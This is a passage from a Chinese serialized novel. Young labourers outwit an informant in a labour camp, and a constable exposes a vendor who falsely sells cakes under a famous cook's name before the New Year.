不过项辰却微微摇着头,似是对那普通的衣料不感兴趣:“你知道天蚕丝么?流光溢彩,我大哥最爱炫耀,每年都要做几身才满意。” “你大哥?那个养子?” 褚郁小声问。 项辰“嗯”了声:“一套天蚕丝的外衫,够咱们这些人五年的工钱。” 褚郁惊怔着捂住了嘴,进而咕哝一声:“他好败家。” 项辰也是这么认为的。 其实他以前并没这么想过,只是来了蕤洲之后,见识到了什么叫做人间疾苦,对于从前过分的奢侈生活,他多少有些懊悔。 虽然他不曾像那养子一般铺张浪费,可日常的吃穿用度还是算得上奢侈了。 二人随口聊着,忽的一抬眼,就瞧见老陈正目不转睛看着宋谨。 项辰给褚郁使了个眼色,褚郁微微点了下头。 想起之前宋谨和褚朝云的提点,褚郁就故意咳了声说:“这衣裳也不知道什么时候能做好,我还想穿给宋大哥看呢。” 他这么一说,老陈果然收回了视线,身形缓缓靠向他们,似是再听二人说话。 褚郁对着项辰眨眼睛。 项辰就继续道:“咱们这衣裳好做的很,明天就能送过来。” “那么快?” “就算没有预计的快,不能穿给宋大哥看,也总要提前和他说一句新年快乐吧?” 褚郁故作深思,一张青涩稚嫩的小脸做戏做的并不太像,但老陈是背对着他们的,自然也看不到二人的表情。 半晌,褚郁有些兴奋道:“那好呀,咱们就约定明晚去跟宋大哥说新年快乐!” 项辰冷淡的看了眼上方,见老陈身形僵直,然后缓缓说了声“好”。 这一晚,老陈睡得并不太踏实。 他翻来覆去的都在猜,到底那个抬尸的跟这俩小的,平时是用什么暗号来联络呢? 如果没有互传信号的办法,褚郁怎么那么肯定明晚就能跟宋谨见面? 既然说是送祝福,肯定是要见面才行的吧…… 他犹豫不定,几乎有些坐立不安。 一方面,想要回家的念头,不断支撑着他去和赵大报信。 而另一方面,他又觉得这样做好像太不是人? 他真的很无耻。 左思右想之下,为了让自己的良心好过一些,他暂缓了去通知赵大的念头,还是等摸清楚三人之间的联络方式,再一并交差好了。 老陈一整晚噩梦连连,直到一早醒来,脑子里还昏昏沉沉的。 冬日的太阳也起得晚,此刻屋子里还有点黑,老陈一睁眼就看到褚郁正坐在身边盯着他。 做贼心虚的男人吓了一跳,“哎哟”一声就坐了起来。 “你怎么起这么早?” 他下意识问。 褚郁其实也因为睡不着。 他有点不敢去相信老陈叔会出卖他和项辰,所以他实在无法入睡,就索性坐起来盯着老陈看。 一晚上脑子里乱七八糟出现了很多画面,还有疑问。 真心换不来真心吗? 长辈们的世界好难懂。 三婶决定要害他们的那个晚上,是不是也没能睡着觉? 褚郁表情有点难看,强行挤出一个笑脸,也没去回应老陈的话,就先下炕去洗漱了。 …… 白日里,艳阳高照。 大概连老天都在为了蕤洲的新年而提前庆祝,这几日的天气都很暖和,日头热热的,哪怕他们蹲在墙根下吃午饭也不会觉得冻手。 老陈的汤碗里又多了一块肥猪肉,和上次一样泛着油花。 想来是赵大等的不耐烦了,故意再用这种方式提醒他。 不过今个他准备把肉分给两名少年的时候,二人却借口有活急着干,三两口吃完了馍就起身走了。 老陈馋的直流口水,一口将肥猪肉吃掉,肠胃里常年见不着油腥,才咽下肚子,肚子就被闹得有点绞痛。 他迅速起身进了茅房,但脑子里还记着褚郁跟项辰晚上要见宋谨的事。 白日里忙碌,时间总是过得飞快。 入夜之后,他吃过晚饭回来,进门第一件事就是看褚郁和项辰在不在。 看到两个小的靠在炕角落里正说着什么,他便装作自然的脱了鞋子踩上了炕,挪腾到自己的位置上一骨碌躺了下去。 他翻了个身,用背对着两人,假装自己很快就睡着了。 累了一天的劳工们一入夜就早早歇下,没一会儿,屋子里就想起了此起彼伏的鼾声。 老陈一直不敢睡,而是竖着耳朵听炕角落的动静。 似是听到了一声轻微的“走”,紧跟着,褚郁和项辰摸黑下了地,蹬上鞋子一前一后的出了门去。 老陈忙坐起身,下炕时心还扑通扑通地跳个不停。 他从未干过这种坏事,几步路走的身子都没完没了的颤。 他这是要害人啊! 四五十岁的中年男人心中愧疚不已,眼睛通红又胀又痛,哪怕干活时被砸伤了手和脚都没哼一下,可此时,眼泪却无知无觉地溢出了眼眶。 他深沉地吸了口气,还是推门走了出来。 就还是按照原来的计划进行吧,只把宋谨一个人交出去,反正宋谨有府衙保着,赵大也害不到他头上去。 也是个两全其美的主意了。 老陈兀自寻思着,并未注意胡同口那儿已经站了三个人。 他正欲拐过去追上褚郁和项辰,就听到一声熟悉的男音传来,那人声音刀子似的冷,是他每每噩梦常听到的声音。 是赵大? 老陈有些懵了。 他明明还没有上报赵管事,对方怎么突然来了? 老陈没敢往前迈步,而是躲在墙根下静静听着。 远远地,褚郁和项辰正在跟赵大说话,对方并不是老陈喊来的,而是他们。 他们拜托工头和赵大说一声,请管事亥时前来这里一趟。 赵大刚来,褚郁就跟项辰掐着点的出去了。 “大晚上的不睡觉,你们找我做什么?” 赵大睥睨了二人一眼,态度却不太明朗。 褚郁指尖冻得发红,少年搓了搓,然后老实道:“赵管事,我和小辰今天帮裁缝给大家记录量裁的尺寸,发现这几天的账面还是不太对……” 见赵大似是感兴趣了些,项辰立刻接上话:“要不您让我们试试吧?我俩会写账。” “哦?” 赵管事抱着双臂瞥他们,右手上握着的鞭子还在风中不停晃悠。 “你们两个小毛孩子,我凭什么用你们?” “就凭我俩……便宜,嘿嘿。” 褚郁长相就比项辰多了几分天真,说起话来又真诚又朴实,所以二人早就商量好了谁该说什么话,各自发挥各自的优势,争取把目的给达到。 赵大听罢哼笑一声,似是故意奚落道:“便宜?那你们还挺有自知之明。” 两名少年嘴角不自然的崩了下,继续装作听不懂对方的嘲讽。 褚郁轻咳两声,开始毛遂自荐:“您要是雇个外人来写,保不齐还会遇上李二达那样的人,而且雇人不是需要很多银子吗?但我俩不要银子。” 赵大似是有些上钩了,便好奇道:“那你们要什么?” “吃肉啊!” 褚郁瞪起大眼睛,做出一副流口水的表情来:“陈叔总有肉吃,我俩馋得很,我们要钱没用,不如多吃一块肉。” 项辰也忙附和道:“或者……不给肉吃,能不能求点别的?” 赵大听着二人你一句我一句,目光从褚郁面上转悠到项辰那,冷声道:“求别的?你说来听听。” 项辰直接张口道:“回家——唔!” 话没完,就被褚郁惊恐地堵住了嘴巴。 可“回家”二字掷地有声,除非赵大聋了,否则怎会听不到。 而且,也正因为赵大听见了,才立刻换了个姿势,鞭子在手中挥动两下,赵管事瞪着他们厉色道:“你刚刚说什么?” 项辰反应迅速,忙改口:“我说吃肉。” 赵大这才满意的收了鞭子。 赵管事眯了眯眼,又重新抱起双臂,看样子是正在心中盘算着什么。 其实二人的提议听着确实不错,叫这俩小的写账,他们绝对不敢糊弄,还不用花银子,无非就是每天多给两块肉而已。 再加上他此前就已经动过这样的念头,只是为保不会出错,所以才让老陈先盯他们几日。 而老陈那边一直没什么动静,大概是找不出他们的错处。 既然没什么问题,用一段时间试试也无妨。 赵大不作声,两个小的也不敢出声,三人就那么站在胡同口静默了半晌。 赵管事终于开口:“写账的活我可以交给你们,不过你和项辰,一个上午,一个下午,写的时候你们两个也不许交流。” “行,都听管事您的!” 褚郁甜甜笑了一下。 赵大“嗯”过一声,又继续道:“这样,你们每人也算是少干了半天的活,说起来还是你们赚了。” 项辰嘴上应着“是”,心里却愤怒的骂了一句“狗东西,占便宜还卖乖!” “行了,那就没其他事了吧?” 赵大打了个哈欠想走,褚郁又喊了他一声。 其实除却刚刚毛遂自荐的事,接下来的话才是今天的最终目的。 见他们还有话说,赵大便带着仅剩不多的耐心停了下来。 褚郁和项辰互看一眼,然后才小心翼翼道:“咳咳,管事,既然我俩不要工钱只要肉,您一块也是给,两块也是……那我们能不能再多帮老陈叔也要一块?” 这话一说,赵大和躲在暗处的老陈则同时愣了一下。 赵大不明所以,“帮他要肉做什么?怎么?他救了你俩的命了?” 褚郁摇头:“也不是,我俩就是看他挺不容易的,手脚断了还得干活,要是每天都能吃上一块肉的话,身体好了,活也能干的更多……要是能熬到将来回家,那岂不是——” 赵大听罢,似是不满的磨了磨牙,进而声音便提高了些:“你们两个小东西自己的坟都没修完,还有空管别家坟地里埋几个?” “我叫你们写账你们就写账,旁的要求少给老子提!” “回家?想的美,进了我赵大的地盘还指望回家?即便是人死了,坟圈子也得划在蕤洲这片地上,懂了吗?!” 褚郁和项辰被吼的耳朵发痛,忙低声下气的说:“懂了懂了!” 赵大气冲冲地出了胡同。 两个小的彼此看一眼,脑门纷纷渗下来不少的冷汗。 他们方才所提之事,不过是一块商量出来的计谋,并非是真的想帮老陈什么。 可他们冒着风险给老陈求肉吃,求回家,还是把老陈感动得涕泪横流。 等赵大走的看不见人了,老陈才哆哆嗦嗦的从角落里出来,想到两名少年真心为自己,而他却还为了那虚假的奢望想害他们。 老陈当即给了自己一个巴掌,也算是彻底清醒了过来。 赵大根本不会放他回家,若他真的把宋谨的事情讲了出来,有可能还会被赵大灭口。 毕竟宋谨是府衙中人,他再怎么样也惹不得。 而没了利用价值,又知道了不该知道的秘密,赵大不留他才是最正确的选择。 他这么一打自己,褚郁和项辰却是真没想到。 二人故作不知的跑过来。 褚郁看不出情绪的问了句:“陈叔,你梦魇了?这么晚怎么跑出来了?外面很冷的,快回去睡吧。” 老陈当然羞于启齿自己那点害人念头,满面通红的答应了几声,就一步一步往屋门那走了过去。 老陈进去之后,两名少年就露出一脸“果然是这样”的失望表情来。 起初他们也只是怀疑老陈在监视他们,又因为对方主动提起过“宋谨”,他们就猜测老陈可能是想利用告密这事,给自己换点什么。 因为这两次的肉,就是最好的证明。 而他们也清楚,老陈大概是还没把“他们和宋谨见面”的事情真说给赵大听。 否则赵大早就打他们了。 既然要堵老陈的嘴,做局挑破这事并不可取。 就算他们识破了,和老陈摊牌,可面对巨大的诱惑,老陈很难被他们说服。 危险就还是存在。 项辰读过一些兵法,褚郁也因这一系列的落难见识到了何为人心。 所以他们绞尽脑汁的商议解决之道,只要老陈明白,自己想要的东西即便靠着出卖他们也得不到,对方才会放下害他们的念头。 “所谓以彼之道,还施彼身,要让他对咱们愧疚,危机才能连根拔除。” 项辰回忆着自己学过的那些书,下了定论。 所以褚郁才会故意提起要给老陈讨肉吃,再把话题不断往“回家”上引。 但褚郁也对这个办法提出过质疑:“那要是陈叔根本没想过害咱们,是咱俩多心了呢?” 项辰:“那明晚陈叔一定会在屋子里睡觉,不会跟着咱们出来。” 可他们还是看到了陈叔。 两名少年情绪低落,一同蹲在墙根下叹气。 褚郁抹掉落在鼻尖上的雪花,咕哝一声:“人心险恶……防不胜防。” 项辰在旁似笑非笑哼了声:“这算什么,和被家里的养子给卖了这事相比,陈叔已经不算心狠的了。” 项辰很少说自己的家事,褚郁只知他从前很纨绔,老是惹他老爹生气。 没想到—— 褚郁惊愕地嘴巴都闭不上了,心口咚咚跳道:“是你家兄把你——不,是那个养子干的?” 项辰轻轻点了下头。 褚郁心中五味杂陈,跟着又哀怨道:“我们也差不多了……要不是遭到三婶的报复,谁会出现在这个鬼地方。” 项辰听得心中一动,转过头,抬起一只手说:“小郁,我永远都不会做伤害你的事。” “我也是~” 褚郁伸手握住他,摇晃一下道:“新年快乐,我们一定会出去的!”- 刁氏下船的日子终于来了,一早花船的氛围就有些沉闷。 船娘们虽说是为刁氏的离开而高兴,可毕竟相处了数年,彼此间早就有了割舍不掉的感情。 尤其是在褚朝云来了这里之后,大家偶尔能聚在一起吃些从前吃不到的东西,还能一块做些手套、袜子之类的赚点银钱。 如今,“主力军”中少了重要的一位,船娘们也都是喜忧参半,心中说不出到底是个什么滋味了。 褚朝云掺着刁氏下去时,徐香荷和方如梅还不舍的扶了一把。 徐香荷哭的话都讲不出来,方如梅也哽咽着挥着手:“走吧,走,快走!记得要好好的。” 方如梅很怕钟管事突然反悔,闹得大家白欢喜一场。 褚朝云眼有些红,便戴了一只帷帽遮挡。 徐大徐二则一早就过来接人,还贴心的帮忙雇了一辆马车,褚朝云和刁氏上了车,马蹄踏在雪地上,一转头,就朝着长街而去。 长长的剪纸灯笼连成两排,热闹欢庆的气氛很快冲淡了离别的伤感。 马车路过一处摊子前,芝麻小饼的香味就飘了进来。 “是芝麻饼!” 褚朝云笑着撩开车帘,往外张望。 流动的摊子旁竖着一个杆子,杆子上棕色的布面用红色丝线绣着几个大字——胡记芝麻小饼。 女子诧然,回头问刁氏:“不是说胡记……是外县的吗?” 刁氏也跟着往外看,猜测道:“大概是叫人挑了担子来这边卖,想要多赚些银钱吧?不过他家良心不好,卖的比市价贵太多了。” 褚朝云也觉着是。 而且她的褚记梅花小饼也已出炉,如今正在刘新才的面食铺子,柳文匡的酒肆,以及万春楼里售卖。 不过今个刚开始,可能还没人注意得到。 由于街上人多,马车走的并不太快。 车轮刚转过两个半圈,褚朝云便听胡记那叫卖的小二,扯着嗓门大声吆喝了一句:“瞧一瞧看一看,又香又脆的胡记芝麻小饼!新年买饼认准胡记,出自蕤洲名厨褚朝云之手,今个不买,明个价格就翻倍了哦!” 第68章 二更 这么一嗓子吼出去,不只往来路过的行人停住了脚步,就连正撩着帘子往下看的褚朝云也惊了一下。 这胡记,是要打着她的名号行骗了? 马车在第一时间停住,坐在外间的徐大往后挪了挪身子,“姑娘,您看……” “我下去瞧瞧。” 褚朝云摸了摸头戴的帷帽,反正遮住了面容,这会儿做什么也更方便了些。 她是船娘,正因为名字已经誊抄在了名厨册上,才倒不好随便以真面目示人了。 褚朝云踩着矮凳下来,正往胡记摊子那看去,就听围过来的路人你一句我一句的再跟那小二说话。 “名厨第九?不是只排到第八么,哪里来的第九名啊?” “褚朝云是谁啊,没听过呢。” “你们胡记的饼子确实好吃,但也太贵了点吧?人家万春楼今个新上的梅花小饼,也没你这个价啊。” 褚朝云在旁听着,决定先不插嘴这件事。 凌乱的询问声一句句吵的人耳朵痛,小二嫌恶的挥着布巾叫停他们,“你们还有没有点见识了?前个长业寺的素斋大赛都没听过吗?空释大师父亲手在名厨册上添的一笔,如今可不是只排到第八了哦。” 有人反应了会儿,进而回忆着说:“好像……是有这个事,我家就在长业寺附近住。有几天那门前车水马龙的,我还纳闷,这不是初一也没到十五的,干嘛那么多人入寺去,原来里面有厨艺大赛啊。” 小二闻声自豪道:“知道就好,褚朝云一直就在我们胡记做饼,如今地位不一样了,我们卖的贵一点也是应该的。” 那人听了却不服道:“就是谁来做饼,你也不好翻倍的涨价吧?你自己说说,昨个和今个的价格,差了多少铜板?” “怎么,你买不起啊?” 小二气势汹汹,一掐腰吼了句:“买不起走!裹什么乱呢!” “咚——” 小二话刚说完,有人就挤着他的摊子放下一扁担来。 那人衣着华丽,看着就不像个卖饼的。 柳文匡这一扁担梅花小饼是从刘新才那刚取回来的,因为货是刘新才一早上船拿的,所以张满春和柳文匡就都去他那取货。 柳文匡昨晚喝了点酒,还没太清醒,但酒肆的杂工请假回去过节了,他这才亲自去拿。 结果回来就遇上这么一出。 柳老板将扁担撂下,就斜着眼看那小二:“明目张胆的行骗,也不怕闪了舌头!” 小二见突然出来个抢生意的,一腔怒火直接对准了他:“谁行骗?你给我说清楚谁是骗子?!” “你呗,难道是我?” 柳老板撸胳膊挽袖子,掀开扁担盖着的盖子,指指里面精致漂亮的小饼大声道:“睁大你的狗眼看清楚,我这个梅花小饼,才是褚姑娘做的!” 人群里,有人认出那小饼,也立刻惊喜的给大伙推荐起来:“哎,原来柳老板也卖这小饼啊!我说的就是它,万春楼在卖呢,很好吃的!” 柳文匡见形势倒向了他,洋洋得意道:“怎么样?怕了吧?” 说罢,有些嫌恶地白了小二一眼:“一张破饼卖上天价,当你们胡记的厨子是御厨了?走走走,回你老家去,少在我们这儿卖!” 柳文匡一向利字当头,但胡记实在荒唐,连他都有些看不过去了。 那小二本就被大家伙说的脸子挂不住,一听柳文匡撵他,就往地上一坐,顿时找到了发作的由头。 “你们人多欺负人少,本县欺负外县!没谁规定我们不能出县做生意,今个你们要是不给我个说法,我就告到岳知府那里去!” 他嚎完,眼珠子一转,直接挤出点眼泪来:“我还得给我们家厨娘打抱不平,你们这哪里是欺负了我,简直连褚朝云都一块欺负了!!” 小二坐在地上撒泼打滚,柳文匡气的脑仁生疼。 若在平时,精明的柳老板也不至于和这家伙当街叫号。 实在是宿醉还未过,脑子不好使,就算是有理,他也迟钝的转不过来弯。 柳文匡见说不过小二就打算动手,他伸手过来想把小二拉起来,“你放屁,你认识褚朝云么?就在这儿胡诌!” “我怎么不认得?我怎么不认得!!” 小二张牙舞爪地要推他。 长街之上很快乱作一团,围观的路人这会儿也越聚越多。 褚朝云不想他们把事情闹大。 既然岳常知晓花船事却又不理,若是今个这事闹得太过,李婆子肯定会趁机抓住由头,然后挑唆赵大给她一顿鞭子。 这边吵吵嚷嚷,连马车里的刁氏都看不下去了。 刁氏蹒跚着下来,正欲去跟那小二理论一番,人堆里便出来一男子,态度不悦的吼了声:“都吵什么?!” 朱力和宋谨巡视到此,听到声音就立刻过来看情况。 若在以往,百姓们对抬尸的必定敬而远之,可他们当下做着巡逻的差事,大家伙倒是都期待这二人能给柳老板主持一下公道。 其实这事说难办也的确难办。 因为就算褚朝云亮相自爆身份,小二也可以否认说她不是褚朝云。 反正见过褚朝云的只有柳文匡,柳文匡来作证,小二还会污蔑这俩人是串通一气欺负他。 简直有理说不清。 朱力吼过一嗓子后,便转头看向宋谨。 这事他也头疼,但总归不能真闹去岳常那里。 宋谨示意他先不要急,然后就迈步走到小二面前。 宋小哥今个穿的是衙差巡逻时穿的官服,走起路来身姿笔挺,一张面容朗眉星目,只是这身衣衫虽给他添了不少威严,可气质看着还是有些许温润。 宋谨不像个衙差,倒像个路见不平进来调解矛盾的小公子。 走过褚朝云身边时,他倒也没太注意,但帷帽之下,女子却思忖着打量向他。 是他? 那晚换筐时遇上的差人她还犹记在心,不成想今日下船却有缘遇上。 褚朝云眸色一垂,倒不急不缓地站在一旁看起戏来,她想看看这没什么威慑力的衙差,到底要怎么断这荒唐案。 小二见宋谨过来,就心虚的瑟缩了下。 宋谨却笑意温和道:“我们先一桩一桩的来解决吧,你先起来……或者若是觉得没力气了,我叫那位大哥扶你起来。” 他偏头看向朱力,朱力立刻做出一副凶悍模样。 小二又瑟缩一下,旁边的褚朝云见了,倒是“噗嗤”笑出一声。 她心说,这位小哥自知面相不够凶恶,到还挺懂得借势的。 小二生怕朱力真过来“扶”他,吓得一骨碌就站起了身,又不想自己气势太弱被看出端倪,便故作镇定的掐着腰问:“那你说,这事要怎么解决?!” 宋谨看了眼他筐里的芝麻饼,又扫了一眼柳文匡的,然后笑道:“你说胡记的芝麻饼出自褚……姑娘之手,而柳老板说他的才是,所以你们当中必定有一人是真,一人是假。” 小二哼笑:“那还用说,他是假的!” 小二说完就白了柳文匡一眼。 柳文匡“嘿”了一声又要过来拉扯,宋谨立刻摆摆手叫他稍安勿躁。 “好,既然各执一词,那不如我来提问你们来答。这样,就很容易分辨清楚了。” 宋小哥淡淡道。 小二再次心虚,声音低下来一些:“你想问什么?” 宋谨没理他,而是缓缓开口道:“我需要先确认一下,关于长业寺素斋大赛的赛事,现场可有去观看过的?” 人堆之外,有两人刚好路过,见此,其中一人就犹豫着走上前来,“内个……我……咳咳,我参加过那场比赛。” 听那人说话,褚朝云则诧异地瞥去一眼。 这人是……儒阳县来的蔡庆? 第一轮第一个被淘汰的那位。 实在不是褚朝云想记得这么清楚,只是后来唐淑和宗匀酌陷害她时,蔡庆去而复返,还跟许钰一同为她说了话。 而她望过去时,蔡庆也看过来一眼。 虽说褚朝云此时还带着帷帽,可女子身量少有的高挑,再加上帷帽的帽帘也并非会挡的严严实实,多少还是能分辨出一些。 蔡庆眼睛亮起来,正想走过来说话,褚朝云就飞快摇了摇头。 蔡庆看了那小二一眼,大概明白了褚朝云的意思,就按捺住了心中的激动。 可蔡庆虽站出来挑明身份,那小二却还想耍赖。 小二眼一耷,无理辩三分道:“这人谁?我怎么不认得!他说参赛过就参赛过?万一是你们找来的托也说不定呢。” “那我们也可以,去请长业寺的空释大师父过来。” 宋谨继续。 小二立马咕哝一声:“倒也不必如此麻烦……” 说罢,目光就迅速移开了。 但宋谨却还看着他,“既然你说胡记的厨娘是褚姑娘,刚又提起长业寺的素斋大赛,想必是对那场比赛了如指掌了?” “那、那自然!” 小二大声应道。 “很好。” 宋谨略他一眼,又转身看向柳文匡:“敢问两位,长业寺的素斋大赛,一共比了几日?” 柳文匡笑着说:“六日,三场。” 小二听罢,忙鹦鹉学舌道:“对,六日三场。” 宋谨看他一眼,又问:“评判几位,分别是谁?” 柳文匡流利对答:“四位,他们分别是……” 话到此,他总算清醒了点,于是便突然停下,示意那小二先说。 小二支支吾吾说了声“四位”,然后就卡壳了好一阵子。 见人群里不停有人议论他,便恼羞成怒的瞪向宋谨,“你问这有的没的做什么?这和我家的饼是不是褚朝云做的有什么关系?” 柳文匡立刻接茬:“怎么没关系?你都说了褚姑娘是你家厨娘,她去比赛的事情你们难道还会不清楚?” “就是啊,自家厨娘的事都说不清么?分明是骗子!” 人群里立刻发出质疑。 “而且你刚刚不还说,对比赛的事情很了解吗?” “刚才不是还吆喝饼是褚朝云做的,褚朝云是名厨第九么?打着人家名头却不知道个中细节,实难令人信服!” 小二被三言两语奚落地满头大汗,一时无法就看向柳文匡:“那你知道吗?你不也一样说不出!” 柳文匡啧啧:“我自然知晓,那四位评判分别是空释,清禅,女香客花娘和男香客高尚。” 小二阴谋得逞,忙也跟着学了一遍。 原以为该糊弄的都糊弄过去了,可宋谨却还有一问。 宋小哥走至他面前,声音清澈道:“那敢问决赛当日,褚姑娘是做了一道什么样的菜式,才能够脱颖而出,夺得魁首的?” 这一问,小二彻底绷不住了。 其实他们胡记只影影绰绰听过有这么一位新晋的名厨,为了给芝麻饼抬高价格,才随口一说借来用用。 反正也没见褚朝云在什么地方做掌厨,大概只是个不入流的小人物。 就算他们胡记用了,那也是褚朝云的荣幸。 谁能想到随便讲讲而已,竟然还踢到铁板上了。 可真倒霉! 小二气息起伏不定,心里头不停咒骂。 鬼知道哪个才是褚朝云,又靠着什么下作手段让自己上了名厨册!真那么有本事,怎么不和程娘子一样被人排着队的上门来请啊! 一见大家伙全部都盯着他看,小二咬了下牙,只好再次瞥向柳文匡。 而柳老板则瞪了他一眼,不肯说答案:“我不抢答,让给你了。” 小二:“……” 宋谨抬手招了蔡庆过来,又让朱力去旁边的铺子借了纸笔,“为了公平,你们三人还是各自将答案写在纸上吧。” 说着,先将纸笔递给了小二。 半晌,朱力过来收答案,然后当众公布。 “蔡公子和柳老板写的都是,长业寺金池幻景,而胡记写的是——素斋?” 小二实在编不出,只好潦草的写了素斋两个字。 朱力念完,围观的路人便哈哈大笑起来。 这下孰真孰假,已经很明了了。 趁着氛围松散些,小二悄悄挑起竹筐,就想要偷偷溜走。 只是还没等迈出一步,肩膀就被宋谨拍了下,“问题还没解决,你还不能走。” 小二见软的不行就想来硬的,挣扎着想要甩脱,可宋小哥看着清瘦,像是没什么力气似的,实则手劲出奇的大。 小二被捏肩捏的骨头都疼,龇牙咧嘴的叫唤起来。 宋谨将人推到朱力面前,“哄抬市价,扰乱市场,该带回去请知府大人定夺了。” 朱力立刻压住那人,迈开脚步就往府衙方向走。 宋谨示意大家伙各自散了,一转身,才发现刁氏正站在马车前。 他笑着和妇人点了点头,目光刚掠过身旁戴着帷帽的女子,朱力就在前方催促他,“走了,阿谨!” 见人还有些怔愣,便声音又高了些:“赶着交差了,宋谨!” 宋谨应了声,这才迈步离去。 褚朝云在身后看他一眼,遂低头去问刁氏:“婶子,原来他就是宋谨小哥吗?” “是。” 刁氏略有些失望,“他今个许是太忙,也没过来说什么话,我还想着介绍你们认识一下,毕竟也沾了人家不少的光。” “以后会有机会的。” 褚朝云应完,就扶着刁氏上马车。 回想起方才那人的样貌,脑子里便不由自主想起徐香荷的话来:“人家可不是什么老爷,果真是个俏郎君呢!” 褚朝云轻笑一声,倒是觉得徐香荷说的没错。 正要迈步上车,蔡庆就忙跑了过来:“褚姑娘!没想到真是你啊,自长业寺一别,我们可是多日不见了啊!!” 蔡庆跟着家中长辈过来胡记买饼,没想到竟碰上了这样的事。 他一直很认可褚朝云的厨艺,也是真心想要结识一番。 走远的宋谨正听朱力说着什么,蔡庆的大嗓门一吼,他登时就顿住了脚步。 宋谨微微回头,瞧见马车旁站的那名女子,有些怔然道—— 原来,那位就是褚姑娘么? 刚看一眼,人就又被朱力给喊回了神,今个巡逻到这条街便该收工了,没事的时候大家都愿意踩点收工。 朱力还有妻小在家中等候,自然心中更急一些。 宋谨又往长街那侧看了看,然后就跟着朱力拐去了另一条路。 褚朝云和蔡庆随口聊了两句就上了马车,因着方才耽误了不少时间,所以这会儿车夫赶马车赶的飞快。 未过多时,几人就到了长业寺。 徐大徐二就站在门口等,褚朝云则扶着刁氏进了门。 清禅亲自过来迎他们,得知褚朝云这次是陪着刁氏来给逝者祈福的,就带着他们去了祈福殿。 “婶子,您自个进去和囡囡说说话吧,我在外面等您。” 褚朝云知晓刁氏一定有很多话想跟女儿说,自然不好跟进去打扰。 她和清禅站在殿外,女子思虑几番,便开口询问道:“敢问大师,长业寺可以收留外来女客吗?” 清禅心思通透,立刻望了眼殿内:“褚施主的意思是——” 褚朝云轻轻点头,“婶子她从船上下来,眼下已无处可去,若是可以暂住在这里的厢房,每日听听师傅们讲经,还能时常来给囡囡祈福,或许日子会好过一点。” 刁氏已经没有家了。 而且听妇人提起过往,大抵那娘家也不是可落脚的地方,且人还在不在都说不定。 这些年,刁氏手中积蓄也并不太多。虽说最近跟着她是赚了一些,可下船之后没了谋生的途径,若是在租个院子来住,慢慢的连老底都要花光。 下船是对的,但确实需要个落脚处暂缓一阵子。 褚朝云一早便想到这里,而钟纯心叫她陪着过来,想必也是有这一层的意思。 清禅知晓他们皆是苦命人,便道了一声“我佛慈悲”,“那便请刁施主,暂住在你此前住过的厢房中吧?” “那就多谢您了!” 褚朝云欣慰道。 清禅又道:“褚施主放心,这里虽日子清苦,但每日的斋饭还是应时应晌,对刁施主也是有好处的。” 将刁氏暂留在长业寺后,褚朝云回了花船便开始忙着做梅花小饼。 有些事确实福祸相依,被胡记那么闹了一场,她的梅花小饼直接成了蕤洲新年最红火的吃食。 几乎是一摆上柜台就立马售罄,简直供不应求。 而褚朝云也借着年前这两日,着实大赚了一笔。 这日晚,她和徐香荷窝在床榻上算账,早上听方如梅说,今年的除夕,花船会歇业一天。 也就是说,他们这些船娘也可以坐在一块吃顿年夜饭了。 其实以往的除夕,花船都不会停业。 大概是这几年蕤洲当真越来越好,管事们自然也想要歇息歇息,索性就放了他们一日的假。 方如梅过来送消息时,手里还攥着一大把银钱,“朝云,这是我们姐妹几个凑的买年夜饭的伙食钱,到时候大家想一块吃顿好的,至于都需要什么食材,你看着买就行,我们相信你!” 上次的八十副手套,让船娘们也赚了不少,紧接着还得做八十双鞋套,大家暂时不愁钱,褚朝云便没在推脱的收下了。 所以这会儿,她和徐香荷正一边点着油灯,一边算计着要买些什么。 徐香荷一股脑念叨了好些的荤菜,然后才“呀”的一声,坐起来道:“不对呀,除了买这些东西,我们还得买棕丝和莎草呢!” 褚朝云也差点把这事忘了。 阿四他们虽说是年后才要货,可蕤洲重视新年,新年期间是没人会出来卖棕丝的。 “不行,得赶着叫婶子这两天下船去——” 徐香荷习惯性说了句,话没完,就闷闷地咽回了后半句的内容。 二人对着静默半晌,才总算认知到了一个严重的问题。 刁氏下船去了。 也就是说,以后采买的活没人能干了。 如今七七八八的算下来,棕丝莎草外加一堆零散的食材,这么多的东西,即便是有人能买,也不方便往花船上送。 褚朝云默了一会儿,便催促着徐香荷先回房去睡- 翌日,上街巡逻的宋谨走的渴了,便来刘老板这里喝口茶水。 见刘新才正倒腾着要关铺子,他就笑道:“要回去过年了,刘哥?” 刘新才把买来的食材分装到小筐里,然后坐下来道:“可不是么,明个就是除夕了,得赶着回去。这些食材是褚姑娘新年要用的,我待会和柳文匡去帮忙送一趟。” 只是说着说着,刘老板面色就犹豫起来。 宋谨看他一眼,关切道:“怎么了?有什么为难之事么?” 刘新才呷了口茶,叹声道:“这刁娘子一下船,褚姑娘多少有些不方便,幸亏我上午去了一趟。” “只不过——” 他停顿之后,为难道:“这食材我能送,但她想要的棕丝和莎草现下基本已经买不到了,而这年节将至,恐怕就更难买到,我还得回家去,实在没空帮她去寻了。” “她要的很急吗?” 闻言,宋谨问道。 “挺急的,阿四他们订的鞋套,说是年后开工就要用上呢。” 宋谨思索一番,起身望向东码头的方向,“刘哥,阿四叔的船可还在?” “在呢在呢,你想用吗?用就是了,他一早就回去过年了,走前知会过我,若是有需要自己去用便是。” “好,那我去一下。” 宋小哥回了居所换回平日所穿,就赶去码头上了阿四的船。 第69章 一更 除夕这一日的早上,所有人都睡了个好觉。 没有李婆子挑刺找茬的上船来叫嚣,也不会被钟管事催着忙着做什么活,更没有赵大和工头鞭身砸地带来的恐惧。 褚朝云把自己裹在厚厚的棉被里,翻了个身,臂弯里抱着的汤婆子虽然早就没了热乎气,但也依旧觉得温暖。 长街上炮仗响起的时候,大家伙便噔噔噔的从暗仓跑上来,聚在船头往声源处瞧。 烟雾袅袅中,各家准备年夜饭的声响此起彼伏。 褚朝云站的有些冷,朝着手心里呵了几口气,然后笑着看向身后众人,“我提前和钟管事请示过了,今个她允许你们进厨房来帮我,这么一大家子的饭,我一个人可搞不定。” 女子俏皮的说了一声,其余人便欢呼着凑上来道:“我们也可以帮忙做饭?太好了朝云!” “就是就是呀,我没上船时,粥熬得可好喝了~” “哈哈,大过年的谁喝粥呀,怎么着也得来点硬菜不是?” 不过说到硬菜,船娘们则又把目光落到褚朝云头上。 褚朝云手指点点下巴,大步流星进了厨房,扫一眼刘新才昨个送过来的食材,“待我好好想一想先。” 此前,她只是跟徐香荷一起商议了想买什么,具体都要怎么做还没来得及琢磨,褚朝云一向喜欢先买中意的食材,然后在考虑做法。 